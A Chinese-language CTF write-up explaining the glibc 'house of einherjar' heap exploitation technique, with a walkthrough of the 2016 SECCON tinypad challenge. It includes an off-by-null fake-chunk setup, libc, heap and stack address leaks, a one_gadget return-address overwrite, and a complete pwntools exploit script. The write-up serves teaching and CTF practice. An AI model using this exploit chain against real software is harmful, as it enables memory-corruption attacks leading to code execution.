# house-of-einherjar

漏洞成因

溢出写、 off by oneoff by null

适用范围

  • 2.23—— 至今

  • 可分配大于处于 unsortedbinchunk

# 概要:

释放堆块时,unlink 后向合并堆块,强制使得 malloc 返回一个几乎任意地址的 chunk 。

free 的后向合并机制

/* consolidate backward */
    if (!prev_inuse(p)) {
      prevsize = p->prev_size;
      size += prevsize;
      p = chunk_at_offset(p, -((long) prevsize));
      unlink(av, p, bck, fwd);
    }

# 绕过检测:

2.27 之前

  • unlink 检测
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))		      \
      malloc_printerr (check_action, "corrupted double-linked list", P, AV)

2.27 之后

  • unlink 检测
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))      \
      malloc_printerr ("corrupted size vs. prev_size");
 if (__builtin_expect (FD->bk != P || BK->fd != P, 0))		      \
      malloc_printerr ("corrupted double-linked list");

# 利用思路:

one:

  • 申请 chunk A、chunk B、chunk C、chunk Dchunk D 用来做 gapchunk A、chunk C 都要处于 unsortedbin 范围
  • 释放 A ,进入 unsortedbin
  • B 写操作的时候存在 off by null ,修改了 CP
  • 释放 C 的时候,堆后向合并,直接把 A、B、C 三块内存合并为了一个 chunk ,并放到了 unsortedbin 里面
  • 读写合并后的大 chunk 可以操作 chunk B 的内容, chunk B 的头

two:

  • 已有两个 chunk(最后一个 chunk,和倒数第二个 chunk),释放倒数第二个 chunk
  • 重新把倒数第二个 chunk 申请回来,在最后一个内存空间(lastchunk->presize)的位置写入 offset(可以索引到 fakechunk),同时溢出 “\x00” 覆盖 lastchunk 的 P 位(lastchunk->size)
  • 提前在 fakechunk 处伪造好数据:presize(offset),size,FD,BK,FDsize,BKsize,padding,size
  • 释放 lastchunk

# 例题:

ctf-challenges/pwn/heap/house-of-einherjar/2016_seccon_tinypad at master · ctf-wiki/ctf-challenges (github.com)

源码比较长,简言之。可以去申请四个 chunk,申请最大至 0x100

比较重要的是

image-20240713073236669

此处有 off-by-null 漏洞

可以达成 house-of-einherjar 条件

这个题虽然是低版本 libc, house-of-einherjar 的利用还是比较复杂的

下面分析代码可能比较长,因为需要去理解程序在干了什么,才能更好的利用 house-of-einherjar

Add 片段

if ( v8 != 'A' )
        goto LABEL_41;
      while ( v20 <= 3 )//v20 作为计数器,记录 tinypad 数量,下面用 count 代表 v20
      {
        v9 = 16 * (v20 + 16LL);
        if ( !*(_QWORD *)&tinypad[v9] )
          break;
        ++v20;
      }
      if ( v20 == 4 )// 若等于四个,则不能继续申请了。
      {
        writeln("No space is left.", 17LL);
      }
      else
      {
        v22 = -1;
        write_n("(SIZE)>>> ", 10LL, v9);
        v22 = read_int();
        if ( v22 <= 0 )
        {
          v10 = 1;
        }
        else
        {
          v10 = v22;
          if ( (unsigned __int64)v22 > 0x100 )//v22 返回 size,最大为 0x100
            v10 = 256;
        }
        v22 = v10;
        *(_QWORD *)&tinypad[16 * v20 + 256] = v10;// 记录 size
        *(_QWORD *)&tinypad[16 * v20 + 264] = malloc(v22);// 记录申请 chunk 的地址
        v11 = 16 * (v20 + 16LL);
        if ( !*(_QWORD *)&tinypad[v11 + 8] )
        {
          writerrln("[!] No memory is available.", 27LL);
          exit(-1);
        }
        write_n("(CONTENT)>>> ", 13LL, v11);
        read_until(*(_QWORD *)&tinypad[16 * v20 + 264], v22, 10LL);// 以 v22 长度输入到 chunk
        writeln("\nAdded.", 7LL);

Del 片段

if ( v8 == 'D' )
    {
      write_n("(INDEX)>>> ", 11LL, v9);
      count = read_int();
      if ( count <= 0 || count > 4 )
      {
LABEL_29:
        writeln("Invalid index", 13LL);
        continue;
      }
      if ( !*(_QWORD *)&tinypad[16 * count + 240] )
      {
LABEL_31:
        writeln("Not used", 8LL);
        continue;
      }
      free(*(void **)&tinypad[16 * count + 248]);
      *(_QWORD *)&tinypad[16 * count + 240] = 0LL;// 比较有意思,只是置空了 size 大小
  												  // 指针未置空,存在 UAF 漏洞
      writeln("\nDeleted.", 9LL);
    }

Edi 片段

if ( v8 != 'E' )
      {
        if ( v8 == 'Q' )
          continue;
LABEL_41:
        writeln("No such a command", 17LL);
        continue;
      }
      write_n("(INDEX)>>> ", 11LL, v9);
      count = read_int();
      if ( count <= 0 || count > 4 )
        goto LABEL_29;
      if ( !*(_QWORD *)&tinypad[16 * count + 240] )
        goto LABEL_31;
      c = 48;
      strcpy(tinypad, *(const char **)&tinypad[16 * count + 248]);
      while ( toupper(c) != 'Y' )
      {
        write_n("CONTENT: ", 9LL, v16);
        v12 = strlen(tinypad);
        writeln(tinypad, v12);
        write_n("(CONTENT)>>> ", 13LL, v13);
        v14 = strlen(*(const char **)&tinypad[16 * count + 248]);// 返回之前 Add 的数据长度
        read_until(tinypad, v14, 10LL);// 以之前数据长度去进行输入
        writeln("Is it OK?", 9LL);
        write_n("(Y/n)>>> ", 9LL, v15);
        read_until(&c, 1LL, 10LL);
      }
      strcpy(*(char **)&tinypad[16 * count + 248], tinypad);
      writeln("\nEdited.", 8LL);
    }

分析完代码之后,想象一下如何泄露 libc_addr 和 heap_addr。可以挂一个 unsortedbin 和两个 fastbin 去写了

def Add(size,content):
    sla("(CMD)>>> ",b'A')
    sla("(SIZE)>>> ",str(size))
    sla("(CONTENT)>>> ",content)
def Del(index):
    sla("(CMD)>>> ",b'D')
    sla("(INDEX)>>> ",str(index))
def Edi(index,content):
    sla("(CMD)>>> ",b'E')
    sla("(INDEX)>>> ",str(index))
    sla("(CONTENT)>>> ",content)
    sla("(Y/n)>>> ",b'Y')

泄露 libc 和 heap

Add(0x80,padding(0x80))
Add(0x40,padding(0x40))
Add(0x40,padding(0x40))
Add(0xf0,padding(0xf0))
Del(1)
ru("#   INDEX: 1\n")
ru("# CONTENT: ")
unsortedbin_addr = u64(rc(6).ljust(8,b'\x00'))
lg('unsortedbin_addr')
libc_base = unsortedbin_addr - 88 - 0x3C4B20
lg('libc_base')
Del(3)
Del(2)
ru("#   INDEX: 2\n")
ru("# CONTENT: ")
heap_addr = u64(rc(3).ljust(8,b'\x00'))
heap_base = heap_addr - 0xe0
lg('heap_base')
Del(4)

接下来进行 house-of-einherjar 环节

因为这个题的 Edi 写入的缘故,利用方法 1 还是比较难以操作,可以成方法 1 为三明治攻击

所以我们利用 offset,去申请非 heap 区的区域,此题最合适的可以去利用 tinypad ,去伪造 chunk。

Add(0x18,b'a'*0x18)#chunk1
Add(0xf0,b'b'*0xf0)#chunk2
Add(0x100,b'c'*0xf8)#chunk3
Add(0x100,b'd'*0x100)#chunk4

申请四个 chunk,利用前两个 chunk 进行 house-of-einherjar 流程

由 Edi 的原因,在将 chunk2 的 p 位去置 0 需要进行循环写入操作

tinypad = 0x602040
offset = heap_base - tinypad
for i in range(len(p64(offset))-len(p64(offset).strip(b'\x00'))+1):
    Edi(1,b'b'*0x10+p64(offset).strip(b'\x00').rjust(8-i,b'f'))
0x603000	0x0000000000000000	0x0000000000000021	........!.......---->chunk1
0x603010	0x6262626262626262	0x6262626262626262	bbbbbbbbbbbbbbbb
0x603020	0x0000000000000fc0	0x0000000000000100	................---->chunk2
0x603030	0x6262626262626262	0x6262626262626262	bbbbbbbbbbbbbbbb

接下来我们去 free 掉 chunk,就可以通过 chunk_addr - presize 定位到下一个 free_chunk (fake_chunk)

所以我们可以通过 Edi 操作,进行伪造 chunk

pl1 = padding(0x20) + p64(0) + p64(0x101) + p64(tinypad+0x20) + p64(tinypad+0x20)
Edi(2,pl1)
0x602060 <tinypad+32>:	0x0000000000000000	0x0000000000000101---->fake_chunk
0x602070 <tinypad+48>:	0x0000000000602060	0x0000000000602060
0x602080 <tinypad+64>:	0x6262626262626200	0x6262626262626262
0x602090 <tinypad+80>:	0x6262626262626262	0x6262626262626262
0x6020a0 <tinypad+96>:	0x6262626262626262	0x6262626262626262

接下来 free chunk2,绕过 unlink 检测

Del(2)

0x602060 <tinypad+32>: 0x0000000000000000 0x00000000000010c1
0x602070 <tinypad+48>: 0x00007ffff7bc4b78 0x00007ffff7bc4b78------> 改成正常地址可分配
0x602080 <tinypad+64>: 0x0000000000000000 0x0000000000000000

pl2 = b’b’*0x20 + p64(0) + p64(0x101) + p64(tinypad+0x30) + p64(tinypad+0x30)
Edi(3,pl2)

env = libc_base + libc.sym['__environ']
pl3 = b'c'*0xd0 + p64(0x18) + p64(env) + p64(0xf0) + p64(0x602148)
Add(0xf0,pl3)

在 tinypad 去进行任意读写 chunk

0x602140 <tinypad+256>: 0x0000000000000018 0x00007ffff7bc6f38 chunk1
0x602150 <tinypad+272>: 0x00000000000000f0 0x0000000000602148 chunk2
0x602160 <tinypad+288>: 0x0000000000000100 0x0000000000603131 chunk3
0x602170 <tinypad+304>: 0x0000000000000100 0x0000000000603240 chunk4

chunk1 可以直接读 stack 地址,chunk2 可以指向 chunk1 位置,此时可以将 chunk1 当前的 env 改写成 ret 地址

chunk2 结构

0x602138 <tinypad+248>: 0x6363636363636363 0x0000000000000018
0x602148 <tinypad+264>: 0x00007ffff7bc6f38 0x00000000000000f0
0x602158 <tinypad+280>: 0x0000000000602148 0x0000000000000100
0x602168 <tinypad+296>: 0x0000000000603131 0x0000000000000100
0x602178 <tinypad+312>: 0x0000000000603240 0x0000000000000000

ogg = [0xf03a4,0x4527a,0xf1247]
og = libc_base + ogg[2]
ru("#   INDEX: 1\n")
ru("# CONTENT: ")
stack_addr = u64(rc(6).ljust(8,b'\x00'))
lg('stack_addr')
main_ret = stack_addr - 8*30 # main_ret_addr 固定偏移 8*30
Edi(2,p64(main_ret))
Edi(1,p64(og))
sl(b'Q')

# 完整 exp:

'''
huan_attack_pwn
'''
import sys
from pwn import *
# from LibcSearcher import *
# from ctypes import *
context(arch='amd64', os='linux', log_level='debug')
# context(arch='i386' , os='linux', log_level='debug')
binary = './pwn'
libc = "/home/yhuan/Desktop/pwn_tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6"
# host, port = ":".split(":")
print(('\033[31;40mremote\033[0m: (y)\n'
    '\033[32;40mprocess\033[0m: (n)'))
if sys.argv[1] == 'y':
    r = remote(host, int(port))
else:
    r = process(binary)
# r = gdb.debug(binary)
# libc = cdll.LoadLibrary(libc)
libc = ELF(libc)
elf = ELF(binary)
# srand = libc.srand (libc.time (0)) #设置种子
default = 1
se      = lambda data                     : r.send(data)
sa      = lambda delim, data              : r.sendafter(delim, data)
sl      = lambda data                     : r.sendline(data)
sla     = lambda delim, data              : r.sendlineafter(delim, data)
rc      = lambda numb=4096                : r.recv(numb)
rl      = lambda time=default             : r.recvline(timeout=time)
ru      = lambda delims, time=default     : r.recvuntil(delims,timeout=time)
rpu     = lambda delims, time=default     : r.recvuntil(delims,timeout=time,drop=True)
uu32    = lambda data                     : u32(data.ljust(4, b'\0'))
uu64    = lambda data                     : u64(data.ljust(8, b'\0'))
lic     = lambda data                     : uu64(ru(data)[-6:])
padding = lambda length                   : b'Yhuan' * (length // 5) + b'Y' * (length % 5)
lg      = lambda var_name                 : log.success(f"{var_name} :0x{globals()[var_name]:x}")
prl     = lambda var_name                 : print(len(var_name))
debug   = lambda command=''               : gdb.attach(r,command)
it      = lambda                          : r.interactive()
def Add(size,content):
    sla("(CMD)>>> ",b'A')
    sla("(SIZE)>>> ",str(size))
    sla("(CONTENT)>>> ",content)
def Del(index):
    sla("(CMD)>>> ",b'D')
    sla("(INDEX)>>> ",str(index))
def Edi(index,content):
    sla("(CMD)>>> ",b'E')
    sla("(INDEX)>>> ",str(index))
    sla("(CONTENT)>>> ",content)
    sla("(Y/n)>>> ",b'Y')
Add(0x80,padding(0x80))
Add(0x40,padding(0x40))
Add(0x40,padding(0x40))
Add(0xf0,padding(0xf0))
Del(1)
ru("#   INDEX: 1\n")
ru("# CONTENT: ")
unsortedbin_addr = u64(rc(6).ljust(8,b'\x00'))
lg('unsortedbin_addr')
main_arena = unsortedbin_addr - 88
libc_base = main_arena - 0x3C4B20
lg('libc_base')
Del(3)
Del(2)
ru("#   INDEX: 2\n")
ru("# CONTENT: ")
heap_addr = u64(rc(3).ljust(8,b'\x00'))
lg('heap_addr')
heap_base = heap_addr - 0xe0
lg('heap_base')
Del(4)
tinypad = 0x602040
offset = heap_base - tinypad
Add(0x18,b'a'*0x18)
Add(0xf0,b'b'*0xf0)
Add(0x100,b'c'*0xf8)
Add(0x100,b'd'*0x100)
for i in range(len(p64(offset))-len(p64(offset).strip(b'\x00'))+1):
    Edi(1,b'b'*0x10+p64(offset).strip(b'\x00').rjust(8-i,b'f'))
pl1 = padding(0x20) + p64(0) + p64(0x101) + p64(tinypad+0x20) + p64(tinypad+0x20)
Edi(2,pl1)
Del(2)
pl2 = b'b'*0x20 + p64(0) + p64(0x101) + p64(tinypad+0x30) + p64(tinypad+0x30)
Edi(3,pl2)
env = libc_base + libc.sym['__environ']
pl3 = b'c'*0xd0 + p64(0x18) + p64(env) + p64(0xf0) + p64(0x602148)
Add(0xf0,pl3)
ogg = [0xf03a4,0x4527a,0xf1247]
og = libc_base + ogg[2]
ru("#   INDEX: 1\n")
ru("# CONTENT: ")
stack_addr = u64(rc(6).ljust(8,b'\x00'))
lg('stack_addr')
main_ret = stack_addr - 8*30
Edi(2,p64(main_ret))
Edi(1,p64(og))
sl(b'Q')
it()

参考:

House of 系列堆漏洞详解 (一) - 先知社区 (aliyun.com)

Glibc 堆利用之 house of 系列总结 - roderick - record and learn! (roderickchan.github.io)

House Of Einherjar - CTF Wiki (ctf-wiki.org)

[House Of Einherjar - 原理 | Pwn 进你的心 (ywhkkx.github.io)](https://ywhkkx.github.io/2022/03/08/House Of Einherjar - 原理 /)

PWN——House Of Einherjar CTF Wiki 例题详解 - 安全客 - 安全资讯平台 (anquanke.com)

2016 Seccon tinypad-CSDN 博客

增文:

/* consolidate backward */
    if (!prev_inuse(p)) {
      prevsize = p->prev_size;
      size += prevsize;
      p = chunk_at_offset(p, -((long) prevsize));
      unlink(av, p, bck, fwd);
    }
#define unlink(AV, P, BK, FD) {                                            \
    FD = P->fd;								      \
    BK = P->bk;								      \
    if (__builtin_expect (FD->bk != P || BK->fd != P, 0))		      \
      malloc_printerr (check_action, "corrupted double-linked list", P, AV);  \
    else {								      \
        FD->bk = BK;							      \
        BK->fd = FD;							      \
        if (!in_smallbin_range (P->size)				      \
            && __builtin_expect (P->fd_nextsize != NULL, 0)) {		      \
	    if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)	      \
		|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))    \
	      malloc_printerr (check_action,				      \
			       "corrupted double-linked list (not small)",    \
			       P, AV);					      \
            if (FD->fd_nextsize == NULL) {				      \
                if (P->fd_nextsize == P)				      \
                  FD->fd_nextsize = FD->bk_nextsize = FD;		      \
                else {							      \
                    FD->fd_nextsize = P->fd_nextsize;			      \
                    FD->bk_nextsize = P->bk_nextsize;			      \
                    P->fd_nextsize->bk_nextsize = FD;			      \
                    P->bk_nextsize->fd_nextsize = FD;			      \
                  }							      \
              } else {							      \
                P->fd_nextsize->bk_nextsize = P->bk_nextsize;		      \
                P->bk_nextsize->fd_nextsize = P->fd_nextsize;		      \
              }								      \
          }								      \
      }									      \
}

个人人为此次攻击利用和攻击面上都比较大